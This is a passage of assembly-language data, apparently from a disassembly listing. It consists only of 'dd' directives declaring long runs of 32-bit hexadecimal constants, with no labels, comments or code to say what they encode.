		dd 1615520Bh, 808210ACh, 0F9A3BC18h, 4D01D887h,	6C1947F9h
		dd 8DE854F4h, 42951952h, 0C488499Fh, 0AD00800Fh, 501DB0B9h
		dd 74030DAh, 0E423875Dh, 0FDF2A160h, 0B8B44047h, 0AC125CE9h
		dd 0A820791Bh, 702E60Fh, 59638C7h, 0A740E0E4h, 4104EBD9h
		dd 0BDD3936Dh, 94A01087h, 15B6571h, 44581BA4h, 0D489153Ah
		dd 0A0604FACh, 0DA145391h, 558103F3h, 9E2D6841h, 0D6C65888h
		dd 5D596F00h, 0CADBEC4Ah, 58B060A8h, 6D1A0F85h,	0D7BA5E06h
		dd 299B1ABh, 7895219Dh,	5C60A15Bh, 371702BEh, 8000F463h
		dd 0D7C303CFh, 4C851DEEh, 0DC440786h, 96D0301Bh, 3091AB80h
		dd 0B297B800h, 14D5A7EFh, 0E888796Ah, 96C09338h, 0E0A6E710h
		dd 5807037Ch, 9842F8E5h, 0A8C12AE1h, 0E0468018h, 86D0BE02h
		dd 0B6318826h, 89682180h, 0C4D17D0h, 34977601h,	446B3AE9h
		dd 84DEF085h, 0D90880E6h, 9CA8F14Fh, 8007434h, 200B42BDh
		dd 0E9298EB9h, 2F415192h, 0E8D2388h, 96C7770Ah,	801A4447h
		dd 0AFB5FC64h, 0E3707F62h, 7A78406Fh, 30ED81DFh, 0EF227B00h
		dd 0ECE1EF99h, 6AD45080h, 0EFD5D5Fh, 465E7494h,	0CC48001Ch
		dd 0FF80493Fh, 0C070C2C8h, 605079D0h, 0FE3D6E01h, 0EFC94195h
		dd 8C7DC870h, 0E4397102h, 191A7C5Ch, 0B9A110BAh, 12930136h
		dd 93A9F64h, 0EA3EE006h, 0EEAE6E15h, 48C72A0h, 2685D0B9h
		dd 24B464B0h, 0D084007Dh, 930253Ah, 0CA0CEBCDh,	21D4D687h
		dd 31FC016Bh, 9E8C08D2h
		dd 2B6CD006h, 58DACC00h, 0C9235CE1h, 4CA498A3h,	241DDCB5h
		dd 7624A4D1h, 2E00BF47h, 0D504C8FCh, 0ACA81469h, 0A35CA996h
		dd 43CAE8CCh, 7D800003h, 7560A1FAh, 82230024h, 2F8E9DF0h
		dd 0E9004BBBh, 0B5251972h, 0B8ED3B28h, 52451454h, 37FDCC7h
		dd 4B09BD2Ah, 0B4CC3642h, 7F007858h, 0A156D06h,	5DF364h
		dd 57FE7D2Ah, 0FDEA9D3Ch, 465C6894h, 932605A5h,	0A05D305Fh
		dd 94136DC4h, 8006DC94h, 1311748h, 398F0656h, 303DC20Ah
		dd 38283777h, 2C43C04Bh, 0B1E20452h, 7E21B530h,	618B02DDh
		dd 17F67797h, 2E434400h, 3D5501E0h, 7D5CA168h, 4CE888E2h
		dd 0E8B2634Fh, 4AD296E8h, 3CAD4486h, 0B7E97900h, 379A2027h
		dd 714401F1h, 0C7348342h, 0A22C63BEh, 0A6DB30ADh, 1E12D100h
		dd 7E9B59BEh, 9087394h,	0A8AF9377h, 0E1BC4483h,	82E938h
		dd 38D1F3E6h, 0F437C42Bh, 44D6581Eh, 73435880h,	470F72CCh
		dd 76A0F1D5h, 5C9E0F07h, 8664D190h, 21B001C9h, 8714EE49h
		dd 963824BBh, 3C900239h, 2965801Ah, 5C8A4E5Eh, 20E7192h
		dd 0D0147DE0h, 460F121h, 513AF919h, 7FFF8002h, 0D5719E3Eh
		dd 40F7024h, 5D8754B6h,	9010C2FEh, 8397A30h, 20045CE5h
		dd 0A040C964h, 9BF83962h, 83896100h, 0A487AAC3h, 0E1A96073h
		dd 8464719Dh, 5E047498h, 9F785C51h, 94F2E080h, 7649C1DCh
		dd 80128443h, 3FDA2218h, 0FDE76527h, 0C0757038h, 6E98DF29h
		dd 18C0C3DBh, 7BD51F18h, 1CDC91A3h, 2715D777h, 28AC42Ch
		dd 0E8333014h, 24AD138h, 0E443AC13h, 0ECE8779Ah, 0EE1A5876h
		dd 0C069DD98h, 9E6B2158h, 0AC21DE04h, 0C3DC08D5h, 232084D4h
		dd 0C404CE01h, 4CD86E03h, 711E08E3h, 0BCC4E863h, 1EE0B240h
		dd 0C13C256Dh, 0E2330019h, 1D8C1F2Dh, 0ACD3545Fh, 26720045h
		dd 0D46EE019h, 4E020F6Fh, 0CE2CFE6Ch, 449082EDh, 31B4A0A9h
		dd 97EC3697h, 0ED087437h, 7721004Ah, 0B4D26292h, 3EE67F0Fh
		dd 0DA6F202Eh, 0DA556h,	0A449708Ah, 23F44415h, 59E55E00h
		dd 2AB216B8h, 96402FFFh, 0E24104A0h, 535C8B3Dh,	0C938037Dh
		dd 828D82C5h, 710560Dh,	6077DC10h, 95F1732Dh, 404B7103h
		dd 0DAE40B59h, 2785CAAh, 0A3AE72FBh, 0DA00C856h, 0EAC55CBDh
		dd 6102007Dh, 0E9C4A2F6h, 980E038Dh, 60F5511Ch,	4C3B5E95h
		dd 0CD7E2Eh, 86C4D806h,	0E0976683h, 0E3BA9200h,	67CEBC24h
		dd 0DE57005Eh, 0BFC43AAAh, 0C9FE93E7h, 6F0062F6h, 0F609B70Ch
		dd 0DE434Fh, 79D57AEDh,	0EBA2B218h, 70465D00h, 0EE26734Ah
		dd 0B97030h, 0DE837297h, 67F2400Ch, 40057D25h, 398564C4h
		dd 2102020Bh, 0B7C6EF89h, 7706A454h, 0E1EC71h, 70E68165h
		dd 80D906D1h, 805C7927h, 0FF6D4BDCh, 0C080043h,	38717657h
		dd 9309F3A8h, 7042AEB6h, 5C201DE8h, 677040DBh, 9D2D5FE2h
		dd 24A79001h, 0B4B2ED60h, 664E9440h, 80D80985h,	423F707h
		dd 5AE0323Ah, 6501B2DFh, 0CD1DB175h, 0CFC0C9E8h, 0FC6D728Eh
		dd 9ED03DD1h, 1ECABF00h, 69C3965Eh, 7C65F900h, 2B98CD48h
		dd 228300E5h, 78F75B8h,	0FA00804Fh, 0BE9EE644h,	0F0F7ACh
		dd 9668507Eh, 0D945821Bh, 0BBFC8B03h, 0E855862Ch, 0E16AB6Ch
		dd 0F60A7573h, 64F26B80h, 0C2001269h, 856C05B6h, 0A493E5h
		dd 70743F29h, 0F4EB06B4h, 0B9CD0E1h, 1814D501h,	0A8B0CCF2h
		dd 9FD36D4h, 0AAF6A396h, 76F71800h, 0C900FBE6h,	5D5E904Dh
		dd 1FD9FF5Ch, 80BF7C62h, 0A163E129h, 5201C23Fh,	221B6A14h
		dd 9C249A7Eh, 0EAEE3A33h, 0BD580280h, 0FA7944A1h, 836EFB00h
		dd 8B1A954Eh, 63D4004Fh, 84DCADECh, 0F503466Fh,	53A354D2h
		dd 44D2007Dh, 85CFAACDh, 700DAE0h, 65E4501Ah, 15B02F7h
		dd 420B702Bh, 0E46D61C2h, 2401F884h, 87B4538h, 10202537h
		dd 815409E9h, 0F3D6D0C6h, 0EC40E212h, 7AE3DACFh, 0EFAB12E5h
		dd 124F2EAh, 1DC029D1h,	0A8D8CE8Ah, 207993h, 0BB7444C4h
		dd 0AAE25FD0h, 5B000F7Dh, 6DF9816Ch, 2E49527h, 33A4AE0Ah
		dd 0BA402D25h, 9F03BE51h, 0E87160D8h, 4695A01Fh, 7C7A00AAh
		dd 0B54CF915h, 0A4C5380h, 0B3D0807Ch, 0CE614423h, 6AA0CE28h
		dd 31A40FAh, 0D182E4E1h, 81EAD73Fh, 0B3228438h,	63C888B5h
		dd 367A30h, 0DEAA43FDh,	0BD55CE4Fh, 0DB425E00h,	2710CF8h
		dd 0C86900E1h, 76F1DD28h, 0AF3936FDh, 82FF00CEh, 74B351C0h
		dd 0DB263D33h, 0C098F498h, 2C01A645h, 952BE47Ch, 0F6C07508h
		dd 61AD009Dh, 9C1BB87Fh, 340FFBE5h, 400C6B44h, 0B3EF3EE4h
		dd 9A90002Ch, 76B72421h, 0BF00B105h, 0EAAE2DB0h, 1F04789Eh
		dd 4050FEFAh, 58B4C4B9h, 990792F4h, 7C5748A0h, 9E722107h
		dd 8912E0C7h, 0C2310E14h, 0E620841Bh, 0A25B0A02h, 8B651607h
		dd 0E803CE36h, 81310F91h, 78007B5Ch, 0FFB6A912h, 33F25000h
		dd 82E1EAACh, 1C17B29h,	0F68B7387h, 2052FC18h, 0FA07851Eh
		dd 9C46B2E4h, 8EE6C50h,	0CC1A0278h, 2BACC555h, 0BE255C78h
		dd 5F84685Bh, 0E0746EFEh, 0FD72AF83h, 6F98BDC8h, 44731900h
		dd 4D9B66C7h, 9EEB00BCh, 7C514A9Dh, 2670FF61h, 14D94300h
		dd 85F511ADh, 7637003Fh, 0B55EC6E3h, 0C92DBF7h,	81420939h
		dd 0A1FE272h, 0B670A70Bh, 581C764Ah, 0B71C04BAh, 2B2F837Ch
		dd 53D87E78h, 0A7010432h, 468BD01Eh, 94342C82h,	0FA47CC3h
		dd 8FB64460h, 5645C000h, 0F800BDF4h, 0BEDC7166h, 0F2A3A9ADh
		dd 0D9E100EDh, 0D48D8BC5h, 2A07A4F4h, 3B600897h, 9F0A89h
		dd 3D5A1902h, 0EAA0605Fh, 6B541DA3h, 0A10C92Ah,	980ECC00h
		dd 0CB00D758h, 593F0479h, 76BCA46h, 2B5330E3h, 0D48C80FFh
		dd 0B7003A1Fh, 2796D154h, 98DBC0h, 96124CAh, 0DA9568EFh
		dd 0A754D800h, 83B6ECC6h, 0FC3B002Bh, 1A913087h, 8B00DDE1h
		dd 0E2DB2CA5h, 5C3ABB82h, 53007F54h, 0B7A1017Fh, 3907F542h
		dd 5D10E65Eh, 0E01AA273h, 1BCC574h, 710B8764h, 0E5F6BE93h
		dd 3C432F2Bh, 88A40CC8h, 1F65A8h, 0C6E66A5Ch, 0F7EEB312h
		dd 0F8944407h, 7490308Eh, 411E50h, 97E08415h, 34C24EEFh
		dd 80732E3Dh, 0FEC1F10Eh, 80B99Ch, 3D2C4713h, 73E619CEh
		dd 9DDD9600h, 85312E54h, 0C56E0F2h, 0EE2AEB6Ah,	0C0003B68h
		dd 83A1CAB7h, 343050Eh,	8DAA1473h, 91903533h, 20C0B895h
		dd 9097F8B0h, 0B723007Bh, 0A2359683h, 8E01368h,	84C46A5Ch
		dd 8CACD167h, 968202BBh, 5A9267C0h, 210E2C50h, 0EA7600D3h
		dd 83AFD03Ch, 0AA644D04h, 28ADFE44h, 0EA726C0Bh, 0DC6AB420h
		dd 5C3AEE1Bh, 0B3D58D4h, 0C80B6BB3h, 0A08B448Ch, 0EB8761Ch
		dd 1863737Bh, 8994D80h,	0C80025B2h, 0B1A9D5CEh,	2ED48Eh
		dd 269247B9h, 0B544102Bh, 1E623800h, 0E2988B4Fh, 0D07A004Bh
		dd 3B874CDBh, 89034767h, 1E6BB4A1h, 0B154D016h,	3F44004Bh
		dd 0F57C42E4h, 548292F9h, 9013EEECh, 4BEA7C80h,	84148339h
		dd 2A8E864Ch, 0F677C4FDh, 5A700BBh, 76DE5284h, 0B303C65Fh
		dd 193E9B27h, 93C0C18Ch, 4BCECh, 0AF6BD99h, 0C34EE552h
		dd 626CA612h, 0A9B77A00h, 0AE13234h, 0B8812453h, 331D009Ah
		dd 971BE4C3h, 0DF48F700h, 8108669Fh, 0C1391D58h, 0C27A83F4h
		dd 5EB8185Ah, 0FA008DE7h, 77357FCEh, 678F8Ah, 0DA17E266h
		dd 3F15936Ch, 97F80A27h, 80C791C4h, 338B4B26h, 427B0039h
		dd 0BD81A860h, 0F3079368h, 92F81799h, 41854AA0h, 0BF7F05FDh
		dd 0C6F14998h, 0D5F548B3h, 0C0A0384Dh, 96B8E885h, 224C431Ah
		dd 6C310106h, 0E591F1E9h
		dd 89C02E0Fh, 3ABCE6F6h, 0B525B360h, 4DF98A0h, 0F95ACB70h
		dd 511AFC4Eh, 7F2A500Dh, 0BC543818h, 6C988CADh,	0ED66F600h
		dd 0ACD98699h, 0B35F1696h, 1420D0C9h, 0DA608330h, 732C6010h
		dd 0B00E009Ah, 2813B779h, 0D8001674h, 0C109990h, 31BAEEh
		dd 4F3D77A1h, 0A2A72C7Fh, 79ACF000h, 0B1D39541h, 0D2148BEh
		dd 1CF72900h, 54C6A47Dh, 63007871h, 0A0F2ACA9h,	0CE85AAh
		dd 965C6C20h, 0C8F6D902h, 0C4F6203h, 0B06BE2DEh, 7213CAD8h
		dd 0CE39009Ch, 0B0ABDC88h, 5C00551Fh, 21580474h, 18F2E96Fh
		dd 18709213h, 7EF8651Eh, 2D105A7Eh, 541C91F4h, 0CD208EC2h
		dd 0B398F6C0h, 0D86077C3h, 6E6AA2A8h, 7BDB0070h, 8B0A8351h
		dd 7C17415Ah, 0D00047A0h, 0F434E910h, 0ABA813D5h, 8AD400F6h
		dd 0CC6AD314h, 0DF847500h, 85C62F7h, 3CBFE89Eh,	0AF07C495h
		dd 808DDBE6h, 1DC7AE53h, 94615B00h, 90038E3Ch, 42EED4h
		dd 277F0DDFh, 0D5F6FFC4h, 0C5DEA701h, 1F62F333h, 831930h
		dd 0E334B87Ch, 0CBA609ECh, 0F4412603h, 8029FDBAh, 363D40h
		dd 7DAB866Dh, 6077D30Eh, 1961CF31h, 0D243EA79h,	2F4DD014h
		dd 0B6A81E1Eh, 0B51321h, 929CCD15h, 940B26F6h, 81432047h
		dd 660C1CA8h, 1FDC82E4h, 807D1BA2h, 45596F95h, 423C9C6Dh
		dd 10E9C71h, 3DF1E00h, 103EB7h,	792270F2h, 0A6D5F5BBh
		dd 61ED0C07h, 1BA27321h, 0ACDEE04Ch, 37CF0113h,	6E585A5Eh
		dd 49BFEC36h, 96F0A10Bh, 28570045h, 0F7845Bh, 1602BA69h
		dd 48B72510h, 4DE0F00Eh, 79D0035h, 15D8426h, 0E4E13D7Ch
		dd 0E08D5415h, 0CA3C0BE9h, 4307005Ch, 94487212h, 612A00C5h
		dd 0B810A737h, 801A1BDh, 0B5F33531h, 0C4C44745h, 8AF81C43h
		dd 0D83C00AAh, 6DBEB4DBh, 3551AE00h, 7E2CA26Ah,	8490FFh
		dd 52C8622Fh, 0B953B557h, 3E1F2EF4h, 6017D9Fh, 5B215C8Dh
		dd 3A7530h, 0C498596Ch,	52126628h, 43A820FFh, 8BE4CB7Fh
		dd 9A30700h, 51420F0Dh,	0CCAD5971h, 0AC8A0074h,	3C1C2CEEh
		dd 8F03C430h, 125B8654h, 6994F897h, 911000A4h, 29FA95E4h
		dd 39012E06h, 0BD9EE9D6h, 689673DEh, 9D00EEF4h,	0F831C28h
		dd 1F377F4Ah, 408E0782h, 772B88A6h, 3900864Dh, 995964CDh
		dd 7CED1C0Bh, 0E33C0045h, 0E7FF7848h, 5EFEB40Ch, 0EA646700h
		dd 7BAF1BB8h, 0A7EC00D7h, 330FDBE1h, 0D800EFEEh, 39ED4377h
		dd 9D4FFEh, 175D216Eh, 1F3A1ABBh, 0A8E1AC00h, 2CDE442Dh
		dd 0A0F101EBh, 1D6DBCDh, 5727E43Fh, 87E4C07h, 0DA04475Eh
		dd 7032CF80h, 18737D8Ah, 0B224FA03h, 450F3B17h,	41D51F8Ch
		dd 112BA397h, 4A6BF4h, 0C1319646h, 67B1676h, 3700C87Fh
		dd 2F589C1Eh, 3DFABC8Bh, 0F7073C56h, 907FE155h,	5EE3AEECh
		dd 0F348B071h, 507D00EEh, 0B8099338h, 6513009Dh, 92AB770Fh
		dd 0CE2CF736h, 8E00026Ah, 0E7F82874h, 0EB053F9Eh, 0C11CE303h
		dd 0F0182E18h, 0F309166h, 0E2B6008Fh, 8756CFDFh, 740058A0h
		dd 1D757723h, 18EF7AF9h, 615C4EB0h, 9900DF4Dh, 0AA22410Fh
		dd 0B009DD52h, 7EAE07E9h, 0F08F1D3Bh, 803F97DEh, 0BC55B100h
		dd 0D240B32h, 3B92000Ah, 48FBC48Bh, 703C5386h, 8FCD8011h
		dd 29D578C0h, 160A0E6Eh, 0C15EEA5Eh, 2B397619h,	0C292C893h
		dd 4C99BD00h, 0D920FB89h, 0D1EF0033h, 0AF54E826h, 5F5023B4h
		dd 4A00C2CEh, 601E68D3h, 9BA7A9h, 0A2B56678h, 0E5CAC6C3h
		dd 67BF77Dh, 9C005CF8h,	0CD680176h, 0F2BD45Ah, 98649E0Ah
		dd 67E02C8Fh, 0FC921F3Ch, 15005EE0h, 0F2EE3EE3h, 0ED7D1DB7h
		dd 0FE7B22F4h, 0E0800E14h, 0F7A0D7E8h, 0E49042B6h, 0C3FFB707h
		dd 9E1691h, 9C5E40C7h, 967C17h,	0A6AD481h, 1B1978B7h, 0C42A630Eh
		dd 64466076h, 252974h, 21F760D0h, 3D15F0ADh, 0B2242EFAh
		dd 5D00805Bh, 0EE548A0Fh, 936000E0h, 0A8943889h, 550087EBh
		dd 9D84BA81h, 0E8E01D4Eh, 6C0E049h, 0A166E28Dh,	940059FDh
		dd 2216F84Bh, 7B9B9FA7h, 33C1007Ah, 96E11C1Ah, 481CC681h
		dd 0C4E65FCBh, 15CCC207h, 25E5F971h, 351F020h, 0E0B0386Ah
		dd 43A3C61Dh, 74AF2800h, 21EDEBC9h, 17409FC8h, 3B719DF1h
		dd 0DDF7CF00h, 0EA3244B1h, 18E39022h, 501E7810h, 4A4842C9h
		dd 0F0D21350h, 89DA3400h, 686118h, 22A4507Ch, 55E08A5Ah
		dd 42F5DC07h, 0A350CA91h, 8C10D6h, 2A876086h, 0F6B675D3h
		dd 8994DF50h, 0B0572500h, 5C2219A0h, 0BA8A012Dh, 1B317285h
		dd 0E82230FEh, 0FBF48B00h, 1C2D24C3h, 48943F17h, 0E9CF926h
		dd 55677761h, 0DDC68073h, 0B1038371h, 5463F4F2h, 0E3669A3Bh
		dd 217CF818h, 35000B5h,	4F79E914h, 80098F8h, 0D90B903Eh
		dd 39FC3D74h, 0BE1EE46Dh, 6E37C035h, 0C99279C8h, 93A29401h
		dd 0B09E318Ch, 26E8C7E5h, 3EF20A2Bh, 8EDCCF2Ah,	84E080C6h
		dd 28343D57h, 0A8C08F72h, 0CFCC3F6Ch, 0AB89066Ah, 316157DFh
		dd 18C7AE40h, 3885343Ch, 0DF008241h, 0A7FBF827h, 0EB18C8Ah
		dd 0A04995CFh, 0DDAD3C82h, 2AAC20A0h, 42163786h, 36011C77h
		dd 6F8F9E3Fh, 0E5B2087h, 94DA10FDh, 0F10C86CBh,	0CAACE27Eh
		dd 133103DCh, 20FCFF0Eh, 73FD2DA8h, 9D371506h, 4164A9h
		dd 6A1D1CF0h, 7E75CB9Fh, 6C34C8C0h, 86C4AB7Ah, 0C05FA740h
		dd 8F22A5F8h, 7F02BCDFh, 0EAC3B4E8h, 0AEF440E6h, 99C83C79h
		dd 1E905187h, 0C159A046h, 3B3EC7D6h, 0E1ED025Bh, 7706E9FAh
		dd 7DA6BCC0h, 614B4403h, 0A8D0E835h, 3A454A0Ch,	9B00C496h
		dd 375560F3h, 0CC00C1C7h, 0D1A27588h, 0B96948h,	2464E5EDh
		dd 998CE03h, 9F00347Ch,	18B421C7h, 268E3814h, 2873C6h
		dd 9ACFE880h, 48004481h, 914174ABh, 18DA34h, 1631423Ah
		dd 0AE3B01CDh, 40002AF6h, 85305569h, 0F6FE4E3h,	262F1308h
		dd 34F1F500h, 7800A016h, 0CD676E0Ah, 3449B59h, 9A806B8Eh
		dd 7DE87555h, 0F2017B04h, 1C5AA8F6h, 5F204FCCh,	6C22486Fh
		dd 0C0A0F71Dh, 0C43B9E0h, 3F00F89Eh, 0AA897BADh, 111E11Dh
		dd 907A6471h, 508488B9h, 6904E8D8h, 7E0040E8h, 3955A2A9h
		dd 432AE9h, 0B5AF5A4h, 0C3094106h, 0DB2DA501h, 0B33D9DD2h
		dd 4080F8C9h, 0F2FC0FDCh, 730EC503h, 0BFB07A20h, 48D5140h
		dd 240DC75Eh, 8078E8A6h, 0E383E7A4h, 0EC00C59Eh, 0BC5FC13Dh
		dd 378FA9A0h, 0F0C921ABh, 15CEE889h, 698EEE0Ch,	73F191Ch
		dd 9F7A5D52h, 3075C48Dh, 190346DCh, 0D997B341h,	0A917C449h
		dd 0E00ED7Dh, 0C7065F36h, 1E10C2h, 45EA63D7h, 3F0D7DCEh
		dd 928C3E18h, 0C05F3C39h, 1839A6E4h, 0CD006EECh, 9ED7C2FAh
		dd 839FD6h, 73C3631Ah, 0EB41070Ch, 0CB203102h, 64A59517h
		dd 36D900C8h, 6543B2F1h, 1B375FF6h, 8032E8A6h, 2342551h
		dd 0D74A10F8h, 22758082h, 25744120h, 9C805CCh, 3CD66BEh
		dd 0E5C9D2FEh, 738C8C02h, 5735B4E4h, 5139C4C3h,	46F0019h
		dd 0C2661E3Eh, 0C1A82455h, 59613CEDh, 80937D2Ch, 51D223E9h
		dd 0C6D18C4h, 0EFEB2203h, 9E01D549h, 9D2EE31Dh,	0C6F878E5h
		dd 0AB881C14h, 0DC038EBBh, 16FF2100h, 8C9805A1h, 85610960h
		dd 17A4F154h, 9C958C7h,	2C90A2B7h, 0AD009F07h, 7CE95268h
		dd 1F29168Ah, 80E1206Dh, 30881A64h, 0E318D5A0h,	9C511F43h
		dd 9DCB00D1h, 0CC06C374h, 0EB0008D7h, 486113Ch,	60D42B22h
		dd 0D6546198h, 0C0A8E6A9h, 58007BF2h, 0C7A72318h, 63DC2276h
		dd 3EBCE1F6h, 849EFAF8h, 55038F70h, 8DB323D5h, 10200020h
		dd 514F0421h
		dd 2500B2A4h, 22242938h, 3F5FF1A0h, 650F11AEh, 0B620D65Eh
		dd 0B33E4413h, 302359h,	6E36FEA5h, 3F7BC18h, 58CCD974h
		dd 82DD605Dh, 0E480062Eh, 402017FCh, 0F8E62218h, 1AC1B99h
		dd 3EE90D09h, 22768924h, 80E33D08h, 5093071Eh, 0E02655B3h
		dd 1823985Ch, 41EEA9B7h, 7EACDD9h, 0F2AB1F0Ah, 0A201B4E7h
		dd 134AA106h, 0D91863F2h, 0F4482ADBh, 3A221D6Bh, 20B252E1h
		dd 879BE7E8h, 6300CAEAh, 0E8101899h, 1CE4EDDh, 823DBCDBh
		dd 10EBA919h, 74EE51h, 69E094C1h, 45C5D388h, 0AE0E5C08h
		dd 0FB0780F4h, 0C6A8CD5Fh, 81EA9803h, 0C833D1B3h, 1B87388h
		dd 6CA69EBCh, 0F9313EFEh, 413980E9h, 0AEA9DED8h, 29FED1h
		dd 14ADE266h, 0E5D059E4h, 6F68BD1Fh, 0BB9EC700h, 0A1D981B2h
		dd 41805CD0h, 3AEEF9E7h, 7E027792h, 9A2CDF9Ch, 0B3DF61A0h
		dd 75F822h, 0E8E91954h,	0AE6B4878h, 0B50AAB3Dh,	7A802169h
		dd 4DFF7Ah, 47B76A5h, 102A0B7h,	0D2016BE8h, 7E3FB206h
		dd 3D70D69Bh, 3B39C066h, 1BA2C8D1h, 0E1F010Fh, 9688C0EBh
		dd 3E581Ah, 0D7B74752h,	0D575BE39h, 4F953C0Ah, 9080F807h
		dd 3FF344CAh, 9CD900CDh, 0C92476F9h, 8E1AB58Fh,	9B2932DCh
		dd 0A74FA078h, 2F100792h, 0D0315C0Bh, 8ADDCF5Ah, 13A09900h
		dd 0C229A494h, 0A62B1E7Bh, 39383021h, 6900D0A9h, 28E148C7h
		dd 0FA024Ch, 0BCBA4F2Eh, 538D1570h, 83522C06h, 791B43h
		dd 458BEF74h, 14F4E5EEh, 8393A606h, 0C621376Dh,	3C43CC30h
		dd 0CB0110D6h, 0EDC16D40h, 39419DC8h, 0A18F2806h, 0BE41D3ACh
		dd 40BCE494h, 0BA2CD4A4h, 80FC3139h, 0E9CB693Bh, 13FAA954h
		dd 3E1A0D8h, 1C70DB04h,	0D9D43FB0h, 1EF4C213h, 95C06070h
		dd 803CB1DFh, 0B36BECDEh, 4B1B577Bh, 0E848DDC5h, 4CA21773h
		dd 5C22103Eh, 0B9AAE237h, 49EB0980h, 13A801CFh,	69B2A112h
		dd 297930DCh, 0F20B958h, 0BFDAACEDh, 9A41DDC0h,	3D3ED930h
		dd 0B7380D74h, 9E28C000h, 0E61D1A8Ah, 44184214h, 0ED7E0990h
		dd 30C6886h, 2D890F1h, 2CD91E1Bh, 9C646EA1h, 0E6C9CC05h
		dd 7004F40Dh, 4083AAA0h, 0F855A19Eh, 0BCD35080h, 4F6BF47Ch
		dd 0F770649Ah, 422E38h,	5A22B37Eh, 53CF1BF8h, 0BA1F8CC6h
		dd 502D00ACh, 989E651h,	304A2324h, 0F830ED40h, 37F419h
		dd 9A027B86h, 0D4352B18h, 0E6B1C900h, 0E2792F2Ah, 0C4E000EAh
		dd 7CF09EBFh, 61C7E9A8h, 0C937388Fh, 46A6D6A0h,	0D1FC3A0Dh
		dd 0F0C1D3B1h, 0E7A9FCB4h, 0AB004CB2h, 3220E013h, 0EB7E05h
		dd 78069C48h, 29B9AA2Bh, 74CBD600h, 22F95264h, 285B0B93h
		dd 0BC13A65Ah, 8E37E7h,	4BCE63B4h, 5112BA0Ah, 0DB81E8A3h
		dd 0E082E196h, 0ED1DF4h, 94F45F02h, 252C8E6Dh, 0B304650Ah
		dd 268FB4FAh, 0BB774017h, 1E6354h, 239328D1h, 3E4EAD5Eh
		dd 9A987004h, 4480407Ch, 2829C0DBh, 4CE4A27Dh, 0C100F4A9h
		dd 0E0A4D71Ch, 0F15C71C7h, 0A6500060h, 128FDEA0h, 0E19214ABh
		dd 0B781B84Eh, 80B852CCh, 98F05E0Ch, 0EC6E2EBEh, 3F720A76h
		dd 8094E3A6h, 6275572Fh, 92000DF5h, 7AC8682Ah, 8F0548h
		dd 0DB51273Dh, 98FCEE18h, 6C547C98h, 0BE035B90h, 9153A5DDh
		dd 4C79E654h, 0C800CBF8h, 39B63ED6h, 7A7B6676h,	15130538h
		dd 0EA08E4Ah, 0A04088ACh, 28F1589Eh, 0E8860045h, 8F8932D3h
		dd 221157CEh, 6913F30Ah, 0CC4D15A3h, 542951C1h,	4BC020B9h
		dd 3C3F892Ch, 1F6F3583h, 233190AEh, 0C5961E55h,	1BAC8149h
		dd 427AB587h, 204009BDh, 483F2FA7h, 846448E9h, 90880522h
		dd 0FA5403E2h, 70BAD6CBh, 8FA4D1A8h, 381348h, 0E8F8CFB1h
		dd 2E50E47Ah, 0C00CE712h, 0AB8F1776h, 0D91F98B9h, 2686E749h
		dd 0F80954A8h, 68E424C6h, 0AA0A07EDh, 8070F77Fh, 0B359E077h
		dd 8200F0B9h, 0B02F54A2h, 0E5E900EDh, 0E719A7AEh, 4D2E7151h
		dd 3809040Ah, 51809C3h,	3C43AAECh, 0D1F406C2h, 90607E28h
		dd 74B11486h, 17278A5h,	6E184C1Ah, 280C473Fh, 24292194h
		dd 0D315038Ch, 0E2E36A7Dh, 3E8B7AA8h, 0A347AD00h, 74BD0941h
		dd 7C77F8C6h, 0CB7D03C2h, 0F990A0BCh, 0F526717Fh, 0B0008076h
		dd 4EC83322h, 0EC1317D9h, 1BF82043h, 2B16B8C2h,	6E01420Bh
		dd 0F1AAD43Eh, 50D9C30h, 0FF20CFFBh, 4065C741h,	9CF39EDBh
		dd 984EE605h, 944FE3ACh, 0F85340F6h, 0ECB663Eh,	0D59EEAB0h
		dd 35311EE0h, 680BA623h, 0F33F920h, 749F83A7h, 0A9DD909Bh
		dd 64B21Eh, 8FBBBCFCh, 0C632E310h, 0C8466600h, 0EFFAC795h
		dd 217E270h, 8931F073h,	9E231E74h, 6EA3C8BDh, 0D9060253h
		dd 0FBFF21D5h, 10EF08C9h, 0C20C1Dh, 4B3D2069h, 0AC7CD56Ah
		dd 0B6DC5F50h, 9B04C37Fh, 91547596h, 1FCF9491h,	8E6A807Bh
		dd 9E1E3EBAh, 9A42818Fh, 0C0EC98F1h, 6F43A474h,	0C6408904h
		dd 963972D9h, 676E6905h, 0D4D8E5E7h, 0CC17021Fh, 0F76988E0h
		dd 7F77BC00h, 6AF8EEh, 0ABC4522Bh, 46016B51h, 0A57E4A14h
		dd 1E1300E4h, 0AE7DD9ACh, 44B82CE9h, 1698BB6Ch,	77839A91h
		dd 0A8B99A68h, 0A095F960h, 63D50003h, 86646059h, 9AA12080h
		dd 20302101h, 3B48E97Fh, 5D9407C8h, 0D024E289h,	63128847h
		dd 1100FAA6h, 0DD4D726Fh, 5184B0Fh, 5FA4ACB0h, 0F0B5C379h
		dd 812FE900h, 7127681Ah, 733806BAh, 148960C3h, 14AE0E28h
		dd 0BAEE8800h, 9F819406h, 2FFD096Dh, 0C040308Ch, 3100B8E8h
		dd 113574D4h, 489CEB36h, 0B0402FEh, 0D0C1BFB1h,	38B3A9D8h
		dd 0E0C8091Fh, 0FF8C7424h, 29507036h, 80E89F9Ah, 2B22DC7Ch
		dd 3C0019DBh, 9B45D6FFh, 338C3B57h, 8750AB99h, 0EB03DA98h
		dd 5C913C07h, 1971C0E6h, 0D060D661h, 0F7CE4A7h,	0FF4D017Bh
		dd 46F0C3A0h, 752CD27Eh, 0F311F0F8h, 12801B1Eh,	0E29022E0h
		dd 0DC20D2C2h, 9EA81722h, 1F3D8901h, 0FBB35330h, 59F02980h
		dd 0C50DBD12h, 54257F05h, 42C05DF5h, 4A322167h,	691820D2h
		dd 460085BBh, 9E4F7DC0h, 6F9ED8Bh, 4A22CD6Bh, 800F9A8h
		dd 0E9BE0AF2h, 906D5968h, 0AF3E005Ah, 0B044FD17h, 0A65C86D9h
		dd 408426D0h, 1207A350h, 30EAE74Fh, 0AE6C9664h,	0BB063498h
		dd 0FCA9B413h, 4D2B0091h, 6F073081h, 0D31D4BEAh, 43C48C66h
		dd 60E26384h, 28006721h, 0B8875079h, 9C41004Eh,	994D8A1Bh
		dd 0A1C9601h, 6D405AA8h, 94C056CFh, 61E41D1Ch, 603D0393h
		dd 0E090B9BCh, 7E00111Eh, 217956CDh, 0ECE5ACh, 7C015F71h
		dd 3D0A4615h, 0F18AFD00h, 16A84495h, 24A9E207h,	0E3D45C6h
